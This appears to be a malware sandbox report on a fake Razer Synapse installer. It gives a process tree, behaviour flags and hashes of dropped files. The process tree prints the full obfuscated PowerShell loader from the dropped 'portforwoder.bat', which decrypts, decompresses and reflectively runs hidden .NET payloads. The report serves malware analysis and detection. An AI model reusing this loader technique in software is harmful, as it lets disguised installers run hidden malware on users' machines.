4036 powershell.exe 21 PID 4036 wrote to memory of 1452 4036 powershell.exe 25 PID 4036 wrote to memory of 1644 4036 powershell.exe 28 PID 4036 wrote to memory of 2628 4036 powershell.exe 45 PID 4036 wrote to memory of 1444 4036 powershell.exe 24 PID 4036 wrote to memory of 2032 4036 powershell.exe 33 PID 4036 wrote to memory of 2620 4036 powershell.exe 44 PID 4036 wrote to memory of 1820 4036 powershell.exe 32 PID 4036 wrote to memory of 1228 4036 powershell.exe 20 PID 4036 wrote to memory of 3392 4036 powershell.exe 54 PID 4036 wrote to memory of 2200 4036 powershell.exe 39 PID 4036 wrote to memory of 2788 4036 powershell.exe 48 PID 4036 wrote to memory of 1796 4036 powershell.exe 31 PID 4036 wrote to memory of 1204 4036 powershell.exe 19 PID 4036 wrote to memory of 2380 4036 powershell.exe 41 PID 4036 wrote to memory of 1000 4036 powershell.exe 35 PID 4036 wrote to memory of 1392 4036 powershell.exe 23 PID 4036 wrote to memory of 796 4036 powershell.exe 10 PID 4036 wrote to memory of 988 4036 powershell.exe 15 PID 4036 wrote to memory of 4136 4036 powershell.exe 95 PID 796 wrote to memory of 1828 796 svchost.exe 96 PID 796 wrote to memory of 1828 796 svchost.exe 96 PID 796 wrote to memory of 4188 796 svchost.exe 99
Processes
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:796 -
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding2⤵PID:1828
-
-
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding2⤵PID:4188
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵PID:892
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:532
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:988
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵PID:440
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1080
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1164
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1204
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
PID:1228
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1256
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1272
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1392
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1444
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1452
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1472
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1480
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1644
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1684
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1736
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1796
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1820
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2032
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1308
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1000
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1744
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2064
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵PID:2200
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2252
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2380
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2560
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2620
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2628
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2748
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
PID:2788
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2840
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2856
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2880
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3392
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3528
-
C:\Users\Admin\AppData\Local\Temp\RazerSynapseInstaller_v1.17.0.60.exe"C:\Users\Admin\AppData\Local\Temp\RazerSynapseInstaller_v1.17.0.60.exe"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Users\Admin\AppData\Roaming\RazerSynapseInstaller_V1.17.0.600.exe"C:\Users\Admin\AppData\Roaming\RazerSynapseInstaller_V1.17.0.600.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4012 -
C:\Windows\Installer\Razer\Installer\RazerInstaller.exeC:\Windows\Installer\Razer\Installer\RazerInstaller.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2544 -
C:\Windows\Installer\Razer\Installer\App\RazerInstaller.exe"C:\Windows\Installer\Razer\Installer\App\RazerInstaller.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Suspicious use of FindShellTrayWindow
PID:4416
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\portforwoder.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:3088 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NZA7uStBimzhU2pjm6inNDqFkCs0FhB+CeLL79sWRI4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6OswDjQA8VBkciMxnDy1mg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pIVYA=New-Object System.IO.MemoryStream(,$param_var); $kljBV=New-Object System.IO.MemoryStream; $Cddeu=New-Object System.IO.Compression.GZipStream($pIVYA, [IO.Compression.CompressionMode]::Decompress); $Cddeu.CopyTo($kljBV); $Cddeu.Dispose(); $pIVYA.Dispose(); $kljBV.Dispose(); $kljBV.ToArray();}function execute_function($param_var,$param2_var){ $uzlSo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uoqGL=$uzlSo.EntryPoint; $uoqGL.Invoke($null, $param2_var);}$swHsV = 'C:\Users\Admin\AppData\Roaming\portforwoder.bat';$host.UI.RawUI.WindowTitle = $swHsV;$PZzIj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($swHsV).Split([Environment]::NewLine);foreach ($hSmwK in $PZzIj) { if ($hSmwK.StartsWith('SnmHeIeicRORhReMwpKo')) { $LpkSF=$hSmwK.Substring(20); break; }}$payloads_var=[string[]]$LpkSF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "4⤵PID:3944
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4036
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3636
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:4088
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:2644
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4328
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:1328
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4920
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4136
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:3216
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\Razer\Installer\Logs\RazerInstaller-cb19c464-e8c4-429d-93f5-55093fee4228.log
- Size 4KB
- SHA256 7e0b41534545c6fe2ae9255e7bf01ec984c4eb768db7d38af3ca8b55353d7a44
- MD5 a6fea96892b5c1b3341740edf82ab452
- SHA1 7c18f28e7e4b0fc66ecc162040aadd3e22092005
- SHA512 e69bc83da2036d8900a248b76782c8c36a91643e03e298424ee463f608535e4ed86d78b6fa5f6e0a075f98297f7781c4480a2d60250eafdea10c65db7a230b49
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04
- Size 400B
- SHA256 c30bc2267d949b6c9c4a9b0ea14d38620900dbf0a115f184d98a6a99ef232e89
- MD5 91bbed6f5130692eadbb2470be491402
- SHA1 7d02b595277a6287bc8e3e191636899e9613dfe5
- SHA512 8cc6cb4aac3d748a9be3dc964d0d88d1b4d899dfe1b214dd728c2d928e3cde58af1b89578688cce5074906222b17fd1f2591d1f83e05754267074ee2f3020e46
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r5aadi5k.zig.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\RazerSynapseInstaller_V1.17.0.600.exe
- Size 7.9MB
- SHA256 f051896ab2043d06236e047efd6a2a719a399bb99fc810e5a671412f0ec35dea
- MD5 c6d466e545d5d9732b18ffbd541662e4
- SHA1 916683e76e6e59409153b37ba865e4cd0d7fe4bf
- SHA512 cfc6296ed0a334983ae28f8d1a94be840ce2afb776ed1a339bd60a65d34a2e99af7d3413b134f64ca40c05f693051ed4eabe12d31313026d64c458921ed1f67f
- SSDEEP 196608:zFQPw26iZrVG5Jf8Bp/v3TDRtvJ+RW+dzBvy9:5QPwDEkf8Bp/vD9C6
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\portforwoder.bat
- Size 390KB
- SHA256 3a1da018b43f1dd10eb3675d7b636bd32cb0df9e652a14e243f88953f04c8e89
- MD5 1ea03fad3259b7e127f5e05879db00a9
- SHA1 5a0a28fa51768019339626fc0d10777e0860c4cb
- SHA512 c0c58b8bf5711a59bcb8bc34ee328b217f958f77307650ec3084d3c170fb1e7aab42cd4a6e996e53261a630d79ffb5e354ca6f109764e5a6ff805ea1e0a78777
- SSDEEP 12288:V38H8KRbEwtap0NezWGuTvLj4nr6wKtLBir0em:V3o1RGuj4rbs
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\AWSSDK.Core.dll
- Size 1.8MB
- SHA256 8f0cd4ee8b8b590dd3e9a0af236b4cba2e99016603ffa8897f12bbbfeb36fb08
- MD5 0a540d4d964be671e0b359a6df1bdda3
- SHA1 35a3a95ee3ce802328ea0334abcda110cbd4a7c9
- SHA512 b3e15fda68b63d9604049799f23e54b5362851cfcde6915870059bd9c75ac8c5330a3312a07c92b23fcf7d474f8e4a05cda2fc21e60d65ab5ccb3c5b02cfd9d5
- SSDEEP 12288:fNCox7rt4YZIrvS92QEkvZ0sJqmvjC0eEL8P5PbNFkEkEkE3kauRp+HpD88vJZPy:fNCoZt/WvSIQEW0WqmfqbNYL+JDhK
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\AWSSDK.Kinesis.dll
- Size 151KB
- SHA256 c069151bc437f06025142a78b5dd7477ca6a847d1bba7323cd962f4496f2ca84
- MD5 76e80582372e4f00586d51e5f4410a27
- SHA1 648b54c8c5269f8cd59524a97108e6288afdb412
- SHA512 95b271d2173eaa94ffc0b62894efb7b8f971bd6c013d65bed6a0b5ff1877bae346b66cb4d80913c37eab03c4cd0db644a888b0b76178d691b1175b2af32a5e9e
- SSDEEP 1536:sdrhwPOU4cnnnUWcrcENVo33c4YgIJJf/hCakBKhyXKOc47xuuwKc9W3blCWFk2M:JZ0aGtke41DQW3BkrR/VYojPM9/g/xH
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\AllSystems.json
- Size 707B
- SHA256 ae1fdc5f37e9a8382dc4e114f633612dbee04ecbb46ab86c0d1a39bdd8c3e527
- MD5 60174d20c177137f40f105103494955d
- SHA1 9f416a3648838b6b22a51f6b77ebb4a40af282cf
- SHA512 477378dd6533b32a5ae3b069b3eba9c097d53f5c5aa827ba2111f52f38eada730000df6e14f0d4c1950798d4bbd66946cfcff76468e4edab3ecc553e29aab161
- MD5 SHA1 SHA512
- Path C:\Windows\Installer\Razer\Installer\App\BLEConnect.dll
- Size 45KB
- SHA256 bd882b04e425ff50f6b95ae0a7c3c621063cb31c202af38da8b13ac4e17c19f2
- MD5 ba549837eca0ce18e7c0b3bbe0cb2292
- SHA1 d48a8fd14467fb211f52735e5e92ad4f12f07cee
- SHA512 21f6f6b01a00c592ffbf1c4e5a05609abdf9a0a91ae1a55d648f76c206a6d35f18d4acd66e4d00bc186de825402a102b630505091341bfbfb17e4273ba7e693e
- SSDEEP 768:vBYtgSk8JJUmLIPLriCfdz3BB2CEpYinAMxsMu5ktX:vutH1JczriaJRBW7HxsCtX
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\BLEConnectWrapper.dll
- Size 183KB
- SHA256 315014358c49304953e4d50009b3295dd1350fa995477b3f17163282cfb7d807
- MD5 65611ed7ce210777ba8ae786a5d1a886
- SHA1 cb685859d0c4b616fbfda578d3af8369ca2e3ef4
- SHA512 f36256071f9a47ceb15dc57004f2a74bdc377582fe20317175181060ccc2d49f58ef71627eaacdd775946e40e531ed8941a2fec56a5c45323002fd216f7ddcd5
- SSDEEP 3072:Gp4bHP7pBO2xKIr6/uSGSar8RNUhtDhEfiHvm24zowbqc8QIt5i9RoelLwm2AM2:Gp4bHP7W2emSbC8RNUhBhEfiHvm24zoI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\InstallerConfiguration.xml
- Size 600B
- SHA256 3cba28341496ef931b5735176fc6f640012d92ffc18cf95eddd648ee35521caa
- MD5 24fb4d1bdd318445b3533b713cd15e74
- SHA1 37745c6785b12535c6236ec05f47ab4a39d6c036
- SHA512 13ce4750943782cbe39d60fb4ea9c507073849b93ed3794480c4cadf748284e7769a7e12038958042bc7c702b693f1f0aed89dc904f291db1637d5da528a05d2
- MD5 SHA1 SHA512
- Path C:\Windows\Installer\Razer\Installer\App\NLog.dll
- Size 841KB
- SHA256 b911867ef2213e93d6ddaedf37ceeb8022a6aadf2bd0da31dbc75040f3802b15
- MD5 6b99cc30bb8a163094cabd9454e3fb61
- SHA1 afbb727b1d827803bb326ab8c89e70602f85e1b0
- SHA512 75a9419e447e1b7b71391ae53052b3c58582b52636b4aee70c8dc0a6e837d74245533f380dcc270db1c25b8af406a5fc9a20026c56bb3506654229ae95536621
- SSDEEP 24576:eMfWnunGn2PG3ssAjzGHkRnnPiUQPnkbEXtNtFxdtv:lfWnunGn2PG3ssX3ntFxnv
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\PatchExceptionalEID.json
- Size 131B
- SHA256 0f667d54883d3ba72a8a0cfa864431f79d74905e92976be0611706b1191c3c45
- MD5 1a102291d5eb3146ffd0be2969ee0eae
- SHA1 f35b9158d851d1ffe1a5dfde74cfecd2ec2bad94
- SHA512 56a987b077f88f0806b7daf1eda464fc393279a48859abed0b6ed942056e0d8f3bacdac7fbdcc40362fd1add47d6d81c7b9559083a567d37365c1b275c44e017
- MD5 SHA1 SHA512
- Path C:\Windows\Installer\Razer\Installer\App\Razer.DetectManagerWrapper.dll
- Size 111KB
- SHA256 9ee38e8507708d3338b96221f0f10982bbf1ec22fa66243ea3158fc0cf251f6b
- MD5 75e24bdde1cd047d8fcb5487b1a3415b
- SHA1 68da893871e7878ff3785d8fbac1b2d23eda2321
- SHA512 ef9d297233b422c7937feeb64e6d80df3baec1213cf20b5d4127297ae3ac2763e9318c97215cacb616e049f346466777f8569e3e16c13a9dace50b90f7d061dd
- SSDEEP 1536:0BA081klxEy7HrnZIyrFIHgXryoYpL0lKpdEPl2iy7HxE:0TxEy77myrFagXryoYq9PciyK
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\Razer.RazerInstallerCommon.dll
- Size 2.9MB
- SHA256 2c02800fb4a42a5a9c1b65247ef088b902b1f5d22a0f643ac64951100a67e1b0
- MD5 d8e33e71a1e868ea53c08e98f913d8c5
- SHA1 82d30de3a27f7f58a4cd38cd91fa371a249e58dd
- SHA512 ea3bcd6283e7b3407ba6c0b488a0aff62ec546a5e0339c908dfd0bba563773a5b0950040914b1fe719d42d796341ec381102b294f9c4df066ad98b921ce65e76
- SSDEEP 24576:1CcvIRDSSyj60sPvh+6VBB9D0CbpBYja+In8CSUm2YyHhvdqWmN3U:1CIKSSyj60o9BDRpjbSUZ4+
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\RazerInstaller.exe
- Size 4.3MB
- SHA256 4d89cbbb5b187b510ff972ae990b54f69a424fa6862bd10bb9e95c0f4c78fa4a
- MD5 a3398e51bb13475fb10e1e6f1e0bf3a4
- SHA1 f2c5d26124159355921e4460699811f259ec3353
- SHA512 4f3cba6654b45f62092a7306a1a86ae55d2991fece60f9886cdf57aad4a010323dbfb4a20569db3d30a5d5aade0ff20a5e37bd41ba1bdbbeefe7b30abe33a555
- SSDEEP 49152:X0U6js0T9MSjlHtgtz4cK5c7yGjhCSA/Bkj0+Z:EUdmckjSAY
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\RazerInstaller.exe.config
- Size 635B
- SHA256 895d6569a9dec15595621a04a122d7cc0242e455e31a4f048ada9b85156baf24
- MD5 1cbc9248f7468783548b2b23ee029d2a
- SHA1 543da727378029ddeb225ce03271f4ec6486c5d9
- SHA512 f81db797a8571900ba90759262723bfc071934da4d2e85364a56bd5401d1e5dd881983f79233e3cdd7b9c8dde29314b160880b402e17cd039007a8fbd23cfb6d
- MD5 SHA1 SHA512
- Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-console-l1-1-0.dll
- Size 18KB
- SHA256 f6bdc8ffd172b44f4d169707d9a457aeef619872661229b8629ee4f15eefff0d
- MD5 11e55839fcb3a53bdfed2a27fb7d5e80
- SHA1 e585a1ed88696cd310c12f91ffa27f17f354b4f4
- SHA512 bec9419e35de03cc145b3c974833f73f1a5082d886de4739351b93bb4cc6c0234efd0e35ad845faba83fa600c4a7d5343eaae949a837d00d5528e6db79438ee4
- SSDEEP 192:0IO5WMuXhWWpO5A9YOCAs/nGfe4pBjS7oT13iWYyieHaVWQ4SWJvaqnajnR5fXFy:0BW7hWv57A0GftpBjbxIg6ECl9OIVnO
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-datetime-l1-1-0.dll
- Size 18KB
- SHA256 7d588a5a958e32875d7bd346d1371e6ebfd9d5d2ede47755942badfc9c74e207
- MD5 9f3cf9f22836c32d988d7c7e0a977e1b
- SHA1 1e7bbd6175bdb04826e60de07aa496493c9b3a3b
- SHA512 16c98e6aec67ffe4558c6d3f881301490be5d8a714c1adc6735005613251adb8e1c2cb9b1c0d2504a9a99c61a06b0e30c944ca603fc00fbb18cd20ba1c9bd697
- SSDEEP 384:0bW7hWQ57A0GftpBjWwTFg6HPaol9OIVnt:0MXPiwwgH2T
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-debug-l1-1-0.dll
- Size 18KB
- SHA256 92b947f1d6236f86ed7e105cff19e23c13d1968861426511b775905e1d26b47a
- MD5 64978e199a7239d2c911876447a7f05b
- SHA1 0048ce6724db08c64441ce6e573676bc8ae94bf9
- SHA512 9c64211895473ffc7162b56b0b8e732dec54cf03ea9b9b36fe3cc3339c35fc71fc7173d4e146989db399cb1bcb063079378bb6f778f7d2591cd545550038397c
- SSDEEP 384:0XW7hWlwIp68A0GftpBjuy1g6al9OIVnQ:046ib1grC
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-errorhandling-l1-1-0.dll
- Size 18KB
- SHA256 e207ffc6fef144e5d393e79de75f8f20d223f1ac33a011eeb822d30fa2031046
- MD5 9d74d89f2679c0c5ddb35a1ef30bd182
- SHA1 22eaed07a6e477a4001f9467b5462cf4cc15cc16
- SHA512 725626e961d32398ea5aa120ac0339deeb493fc02ee7ef4d8e586173fdbf768b5cbb1f16f093ae4ecfee87e661170f8f832777640a353df5d651af4a62a2d819
- SSDEEP 384:01z0W7hWDwIp68A0GftpBj8g65l9OIVnB:01zJIiqgI3
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-file-l1-1-0.dll
- Size 21KB
- SHA256 c0e5d482bd93bf71a73c01d0c1ec0722ea3260eba1f4c87e797bae334b5e9870
- MD5 d826d27c73d9f2420fb39fbe0745c7f0
- SHA1 6e68e239f1a58185c7dad0fcfaac9ecfd2e5726c
- SHA512 c49843eb10e4e54c66e0e194dbd29ceab9094bdfe745b6a858cb03e34d73a6326f54804e5e5505deacc87146cbdfba17a0f02e62e76c685bce0cd1ff41962ff4
- SSDEEP 384:0JPvVX/W7hWLwIp68A0GftpBjXeg6L4l6UzPp:0JPvVXAAi8gHV
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-file-l1-2-0.dll
- Size 18KB
- SHA256 3816bbb7dd76d8fc6a7b83a0ed2f61b23dd5fc0843d3308ee077cb725d5c9088
- MD5 ec4f2cb68dcf7e96516eb284003be8bb
- SHA1 fb9237719b5e21b9db176e41bdf125e6e7c01b11
- SHA512 6cbda80c476a9fcf46458cac45229c96dc9df251230531e25088e834cd954db9ff4561e744f76495f9c57a4068b7635c72c6f9ff838436c54142297ee310b236
- SSDEEP 384:0sW7hWGwIp68A0GftpBjk2g6PBl5AVgk8g:0h3iVgSeVWg
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-file-l2-1-0.dll
- Size 18KB
- SHA256 096409422ecd1894e4d6289fd2d1c7490bd83daff0c1e3d16c36c78bd477b895
- MD5 b9287eb7bcbfdcec2e8d4198fd266509
- SHA1 1375b6ff6121ec140668881f4a0b02f0c517f6c7
- SHA512 b86348d3f42d0ff465066a14c281088c73ec5e03efacdaabe27a410b054a8a81b438d7e5d030b0d95f53b07783911b8b8200581d4e0b6f1b3cc79f4aae1d67df
- SSDEEP 384:dW7hWkwIp68A0GftpBj/mfg6mTxl6Uz8p:21iBmfgDe
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-handle-l1-1-0.dll
- Size 18KB
- SHA256 a369ef130749bf8cd9f67055179e6f537f200c060af47493d49473912a95021e
- MD5 6a35a52d536e34ba060a19d06b1dac80
- SHA1 0494a9cbf898e5babb6e697fc2de04a128d2fc35
- SHA512 a8aeb58bcf4b314212c2ab5a8fd3c2edeb97e680f774171d4a79390aa23bb62a414aef0ecd5286ffb68b7ed8f6e713ff1892d6d4cc2cbb67de916c6062e762d9
- SSDEEP 384:/W7hW6awIp68A0GftpBjasg67llcEbP7JzYl:AwiAsgQ9lzYl
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-heap-l1-1-0.dll
- Size 18KB
- SHA256 efc9f0e32bce971900ddf66a1a9e68daa3bfb2099a1ba9f24c6ee82da2cbd6e8
- MD5 ee5c2fb7bc23bfd06ff32556cc7c3b4d
- SHA1 5d60ebf016219bbec340d353a4fa541fff596d3f
- SHA512 5d1b8a130c27d8eb63ca0c836bdf63e76afb311de26ed4f25b073bda843ebfa25e136849e3882822257e3783058f30af818a96764d60821a40329cff4e1badac
- SSDEEP 384:0aliW7hW5wIp68A0GftpBjQg6nMl9OIVnZ:0imiOgyCX
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-interlocked-l1-1-0.dll
- Size 18KB
- SHA256 a272ae4fc60e511f48950b08f106fcdd3bc86831df908ee78d630f1ae921880c
- MD5 48a5e206d92f3102256ec65e8d570ee0
- SHA1 76024fad398dfa4734afce0cc2e5ac117f090ba6
- SHA512 65407da566b571e050c25448be6042e84b0c1c7248422cba00b543af9de425a723b0c7c54c4eb6f534e42b1679a058562d500875ddc4f2b52e6b8e6107b1b575
- SSDEEP 384:FlYsF2W7hWewIp68A0GftpBjjUg6plcEbP7Jh:dbiygelh
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-libraryloader-l1-1-0.dll
- Size 18KB
- SHA256 0bd03e89a539aaa3100e2f7d9a058964730320e55aee1f85be8fd243eea7017a
- MD5 e33f52e89dfc376eaf7aa655f260ca76
- SHA1 b66e1f934f491544190714966031b6dfd2e349ec
- SHA512 95cb889599801ba7fa225b633d0fe25fdcc8b495dee5eba05b15a6e53a8a3643b5defe1a881236c40f4fa4365d6775ece067dbb526afdf2015f4d1355c9dfc57
